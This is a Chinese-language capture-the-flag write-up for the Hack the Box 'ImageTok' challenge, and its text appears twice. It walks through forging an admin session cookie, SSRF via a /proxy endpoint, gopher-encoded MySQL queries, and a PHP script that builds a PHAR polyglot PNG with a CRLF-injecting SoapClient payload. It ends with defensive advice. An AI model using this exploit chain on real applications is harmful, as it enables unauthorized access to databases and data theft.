Hack the box-ImageTok攻克思路
字数 1869 2025-08-12 11:33:56

Hack the Box - ImageTok 靶机攻克详细教程

靶机概述

ImageTok 是一个 Hack the Box 平台上的挑战靶机,主要考察文件上传漏洞、Cookie伪造、SSRF攻击和MySQL注入等技术。攻克该靶机需要综合运用多种Web安全技术。

信息收集阶段

1. 初始访问

  • 访问网站后发现只有一个文件上传功能
  • 上传任意图片后抓包分析响应

2. Cookie分析

  • 响应包中包含两个Cookie,前半部分一致
  • Cookie特征:
    • 包含"==",这是Base64编码的特征
    • 解码后发现包含文件上传后的图片名称和用户名
    • 格式:base64编码的JSON数据.随机字符串

3. 权限提升尝试

  • 将Cookie中的用户名改为"admin"并重新编码
  • 替换Cookie后成功获取admin权限,但页面功能无变化

4. 代码分析

通过访问不同端点获取信息:

/info

  • 显示phpinfo信息
  • 获取关键信息:
    • 数据库主机
    • 用户名
    • 数据库名

/proxy

  • 可能存在SSRF漏洞
  • 使用条件:
    1. session中username=admin
    2. 远程服务器127.0.0.1
    3. Post请求的url参数不为空
    4. Host在['uploads.imagetok.htb', 'admin.imagetok.htb']中
    5. Port在['80', '8080', '443']中

CustomSessionHandler.php分析

  • Cookie处理规则:
    • 以"."分割
    • 取前部分进行base64解码获取username
    • 可用于判断session中username=admin

UserModel.php分析

  • updateFiles函数:
    • 从session获取username
    • 查询该用户名对应的文件名
    • 将文件名插入session的files中
  • 攻击思路:
    • 伪造username为admin
    • 插入数据:file_name=flag、username=admin
    • 访问主页获取session
    • 解码session中的file值即为flag

/upload

  • 文件名随机生成
  • 只允许上传png文件

漏洞利用步骤

1. MySQL语句构造

目标:插入flag到file_name字段

-- 查询flag
SELECT flag FROM db_fjqaG.definitely_not_a_flag;

-- 插入flag到files表
INSERT INTO db_XhnWU.files(file_name, checksum, username) 
VALUES((SELECT flag FROM db_XhnWU.definitely_not_a_flag),'abc','admin');

2. Gopher协议构造

使用工具:gopherus (https://github.com/tarunkant/Gopherus)

格式:gopher:///127.0.0.1:3306/_字符串

3. Admin Session伪造步骤

  1. 文件上传抓包获取响应包中的session
  2. 将响应包session替换请求包session再次发包
  3. 重复上述步骤
  4. 最终获得的session以"."分割:
    • 前部分base64解码为包含username的json
    • 修改username为admin
    • 重新base64编码
    • 与后部分组合成新的session

4. 图片生成脚本绕过检测

利用PHAR (PHP ARchive)特性:

  • 文件必须以__HALT_COMPILER();?>结尾
  • 可构造图片文件绕过上传限制

PHP配置要求:

extension=soap
Phar.readonly = Off

生成payload的PHP脚本:

<?php
class ImageModel {
    public $file;
    public function __construct($file){
        $gopher = "gopher:///127.0.0.1:3306/_xxxxx";
        $this->file=new SoapClient(null,array(
            "location"=>"http://127.0.0.1:80/proxy",
            "uri"=>"http://127.0.0.1:80/proxy",
            "user_agent"=>"clrf-inject\r\n\r\n\r\n\r\n".
            "POST /proxy HTTP/1.1\r\n".
            "HOST: admin.imagetok.htb\r\n".
            "Connection: close\r\n".
            "Cookie: PHPSESSID=admin_session\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "Content-Length:".strlen($gopher)."\r\n\r\n".$gopher."\r\n\r\n\r\n"
        ));
    }
}

@unlink("payload.phar");
$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->addFile('ssrf.png','ssrf.png');
$phar->setStub(file_get_contents('ssrf.png').'__HALT_COMPILER(');
$phar->setMetadata(new ImageModel('none'));
$phar->stopBuffering();
rename('payload.phar', 'payload.png');
?>

获取Flag完整流程

  1. 上传payload.png获取图片地址

    • 例如:http://206.189.25.173:32763/image/d3706.png
  2. 访问phar图片触发漏洞

    • 格式:phar://payload.png
    • 成功插入flag到file表
  3. 访问主页并抓包

    • 修改请求包session为构造的admin session
    • 获取响应中的session
  4. 解码session获取flag

    • 以"."分割session
    • 前部分base64解码
    • 获取file中的值即为flag

关键技术总结

  1. Cookie伪造:通过分析Cookie结构和编码方式,构造admin权限的session

  2. SSRF利用:通过/proxy端点实现服务端请求伪造,结合gopher协议攻击MySQL

  3. PHAR文件利用:构造特殊图片文件绕过上传限制,触发漏洞

  4. MySQL注入:通过SSRF发送精心构造的MySQL语句,将flag插入可访问的位置

  5. Session解码:通过分析session结构,从编码数据中提取flag信息

防御建议

  1. 对Cookie进行签名验证,防止伪造
  2. 限制/proxy端点的访问权限和可请求的目标
  3. 严格过滤文件上传内容,不仅仅是文件扩展名
  4. 数据库使用最小权限原则,避免使用高权限账户
  5. 对敏感操作进行二次验证
Hack the Box - ImageTok 靶机攻克详细教程 靶机概述 ImageTok 是一个 Hack the Box 平台上的挑战靶机,主要考察文件上传漏洞、Cookie伪造、SSRF攻击和MySQL注入等技术。攻克该靶机需要综合运用多种Web安全技术。 信息收集阶段 1. 初始访问 访问网站后发现只有一个文件上传功能 上传任意图片后抓包分析响应 2. Cookie分析 响应包中包含两个Cookie,前半部分一致 Cookie特征: 包含"==",这是Base64编码的特征 解码后发现包含文件上传后的图片名称和用户名 格式: base64编码的JSON数据.随机字符串 3. 权限提升尝试 将Cookie中的用户名改为"admin"并重新编码 替换Cookie后成功获取admin权限,但页面功能无变化 4. 代码分析 通过访问不同端点获取信息: /info 显示phpinfo信息 获取关键信息: 数据库主机 用户名 数据库名 /proxy 可能存在SSRF漏洞 使用条件: session中username=admin 远程服务器127.0.0.1 Post请求的url参数不为空 Host在[ 'uploads.imagetok.htb', 'admin.imagetok.htb' ]中 Port在[ '80', '8080', '443' ]中 CustomSessionHandler.php分析 Cookie处理规则: 以"."分割 取前部分进行base64解码获取username 可用于判断session中username=admin UserModel.php分析 updateFiles函数: 从session获取username 查询该用户名对应的文件名 将文件名插入session的files中 攻击思路: 伪造username为admin 插入数据:file_ name=flag、username=admin 访问主页获取session 解码session中的file值即为flag /upload 文件名随机生成 只允许上传png文件 漏洞利用步骤 1. MySQL语句构造 目标:插入flag到file_ name字段 2. Gopher协议构造 使用工具:gopherus (https://github.com/tarunkant/Gopherus) 格式: gopher:///127.0.0.1:3306/_字符串 3. Admin Session伪造步骤 文件上传抓包获取响应包中的session 将响应包session替换请求包session再次发包 重复上述步骤 最终获得的session以"."分割: 前部分base64解码为包含username的json 修改username为admin 重新base64编码 与后部分组合成新的session 4. 图片生成脚本绕过检测 利用PHAR (PHP ARchive)特性: 文件必须以 __HALT_COMPILER();?> 结尾 可构造图片文件绕过上传限制 PHP配置要求: 生成payload的PHP脚本: 获取Flag完整流程 上传payload.png获取图片地址 例如:http://206.189.25.173:32763/image/d3706.png 访问phar图片触发漏洞 格式: phar://payload.png 成功插入flag到file表 访问主页并抓包 修改请求包session为构造的admin session 获取响应中的session 解码session获取flag 以"."分割session 前部分base64解码 获取file中的值即为flag 关键技术总结 Cookie伪造 :通过分析Cookie结构和编码方式,构造admin权限的session SSRF利用 :通过/proxy端点实现服务端请求伪造,结合gopher协议攻击MySQL PHAR文件利用 :构造特殊图片文件绕过上传限制,触发漏洞 MySQL注入 :通过SSRF发送精心构造的MySQL语句,将flag插入可访问的位置 Session解码 :通过分析session结构,从编码数据中提取flag信息 防御建议 对Cookie进行签名验证,防止伪造 限制/proxy端点的访问权限和可请求的目标 严格过滤文件上传内容,不仅仅是文件扩展名 数据库使用最小权限原则,避免使用高权限账户 对敏感操作进行二次验证